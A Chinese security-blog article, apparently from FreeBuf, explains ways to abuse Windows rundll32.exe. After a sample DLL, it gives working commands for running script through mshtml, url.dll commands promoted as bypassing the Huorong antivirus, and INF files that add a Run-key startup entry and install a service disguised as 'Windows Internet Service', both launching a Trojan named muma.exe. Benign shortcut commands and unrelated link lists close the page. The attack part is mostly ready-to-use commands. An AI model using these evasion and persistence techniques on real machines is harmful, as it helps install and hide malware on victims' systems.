命令行下的“蒙面歌王”rundll32.exe
*本文原创作者:lcx,本文属FreeBuf原创奖励计划,未经许可禁止转载 **
在Windows系统中,为了节省内存和实现代码重用,微软在Windows操作系统中实现了一种共享函数库的方式。这就是DLL(Dynamic Link Library)文件,即动态链接库,这种库包含了可由多个程序同时使用的代码和数据。Rundll.exe 和 Rundll32.exe 的命令行实用程序,通过这两个程序可调用从16位或32位DLL导出的函数。现在Rundll.exe 基本被淘汰,rundll32.exe格式为:RUNDLL32.EXE , 。这本来是微软的一个正常的命令,但是在黑客手里会发生巨大的作用,有些命令不为外人所知,堪称命令行下的蒙面歌王,我为大家来揭面一下,让大家知道它的不为人知的几个功能。
一、用C++如何写一个简单的被Rundll32.exe调用的dll
我用Visual studio 2017写了一个简单的代码,内容如下:
// Dll3.cpp: 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#include <atlstr.h>
extern "C" __declspec(dllexport)
void F2(
HWND hwnd, // handle to owner window
HINSTANCE hinst, // instance handle for the DLL
LPTSTR lpCmdLine, // string the DLL will parse
int nCmdShow // show state
)
{
if (strlen(lpCmdLine) != 0)
{
CString num;
num = lpCmdLine;
MessageBox(0, "Message body", num ,MB_OK);
}
else
{
MessageBox(0, "Message body", "Message title", MB_OK);
}
}
全部工程文件我已经传到了https://haiyangtop.cn/dll3.rar。我们在命令行下运行rundll32 dll3.dll ,F2 888,那么就会弹出标题为888的对话框。全部工程文件我已经传到了https://haiyangtop.cn/dll3.rar。我们在命令行下运行rundll32 dll3.dll ,F2 888,那么就会弹出标题为888的对话框。
二、用Rundll32.exe运行js或vbs的脚本代码
rundll32 javascript:"..mshtml,RunHTMLApplication ";window.execScript("msgbox('a')","vbs");window.close()
动画里这条命令烂大街了,已经绕不过我本机的火绒了。
三、用Rundll32.exe执行命令绕过杀毒软件的作法
命令如下:
rundll32 url.dll, OpenURL file://c:windowssystem32calc.exerundll32 url.dll, OpenURLA file://c:windowssystem32calc.exerundll32 url.dll, FileProtocolHandler calc.exe
这是经过反汇编分析url.dll得出的结果,请记住这3条命令,活学活用,这是干货。上边的三条命令都可以绕开我本机的火绒。你可以多分析system32下的dll,说不定你还有惊喜。
四、用Rundll32.exe修改注册表
写一个c:/reg.inf文件,增加注册表启动项,代码如下:
[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_AddReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun,0x00000000,c:/muma.exe
然后我们运行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
就可以增加一个键为KAVRun,值为c:/muma.exe的注册表项了。
删掉刚才加的注册表启动项,c:reg.inf内容如下:
[Version]Signature="$WINDOWS NT$"[DefaultInstall]AddReg=My_AddReg_NameDelReg=My_DelReg_Name[My_DelReg_Name]HKLM,SOFTWAREMicrosoftWindowsCurrentVersionRun,KAVRun
运行以下命令就可以删掉了
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/reg.inf
几点说明:
- [Version]和[DefaultInstall]是必须的,AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
- 0x00010001表示REG_DWORD数据类型,0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。关于inf文件的详细信息,可以参考DDK帮助文档。
- InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号,没有空格。128表示给定路径,该参数其他取值及含义参见MSDN。特别注意,最后一个参数,必须是inf文件的全路径,不要用相对路径。
- inf文件中的项目都是大小写不敏感的。
五、使用rundll32.exe 增加一个服务
写一个srv.inf,内容如下:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%muma.exe
然后执行命令,会增加一个名字为inetsvr的服务。
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/srv.inf
几点说明:
- ServiceType表示服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
- StartType表示启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启动,3 手动启动,4 禁用。
- ErrorControl表示错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
- ServiceBinary里的服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%12%为驱动目录system32drivers。其他取值参见DDK。你也可以不用变量,直接使用全路径。
- 这四项是必须要有的。
删除刚才增加的服务,写一个dsrv.inf,内容如下:
[Version] Signature="$WINDOWS NT$"[DefaultInstall.Services]DelService=inetsvr
执行完以下命令就会删掉了
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:/dsrv.inf
INF的具体参数是请查看DDK相关资料。
六、网上老生常谈的rundll32的几十个常用快捷命令了,可能有些人并不清楚
命令列: rundll32.exe shell32.dll,Control_RunDLL
功能: 显示控制面板
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
功能: 显示“控制面板-辅助选项-键盘”选项视窗
命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
功能: 显示“控制面板-辅助选项-声音”选项视窗
……
还有太多太多,我如果写在文章里就全是水份了,具体其它命令请参阅:老生常谈的一些命令
另:本文中的修改注册表和增删服务参考了zzzevazzz的《Do All in Cmd Shell (一切尽在命令行)》部分内容,表示感谢。
*本文原创作者:lcx,本文属FreeBuf原创奖励计划,未经许可禁止转载
- Gulp Error: Cannot find module 'jshint/src/cli'
- 自学如何使用Python和Keras构建你自己专属的AlphaZero系统
- 用Visual Studio Code写Node.j
- 帝国CMS搜索页伪静态实现方法
- 5步搭建GO环境
- 你真的了解如何将 Nginx 配置为Web服务器吗
- 12个JavaScript技巧
- 梯度是如何计算的
- Java 机器学习库Smile实战(二)AdaBoost
- 如何用excel urldecode解码把url编码转为汉字?
- Scikit-learn实战之 SVM回归分析、密度估计、异常点检测
- TensorFlow模拟简单线性模型小栗子
- web跨域解决方案
- Bootstrap幻灯轮播如何支持触屏左右滑动手势?
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Kubernetes K8S之Ingress详解与示例
- Kubernetes K8S之存储Secret详解
- 在K8s上轻松部署Tungsten Fabric的两种方式
- Linux系统如何在离线环境或内网环境安装部署Docker服务和其他服务
- Servlet执行流程
- 最新的spring boot技术实现登录、列表、分页、上传等功能
- 谈谈我对Vue钩子函数、生命周期的理解
- 浅谈Apache Shiro权限模块及数据库设计
- 企图变秃变强的第一天
- 企图变秃变强的第二天
- Lambda表达式和FastDfs文件上传
- Postman带token测试接口、找不到生产者、无法连接MySQL、禅道部署
- MyBatis-Plus调试配置,IllegaStateException,StringUtils补充
- NullException、Token的作用、Mapstruct用法
- 1.String类型字符串拼接2.IDEA清除缓存、热部署3.File的用法 4.Dubbo查询服务状态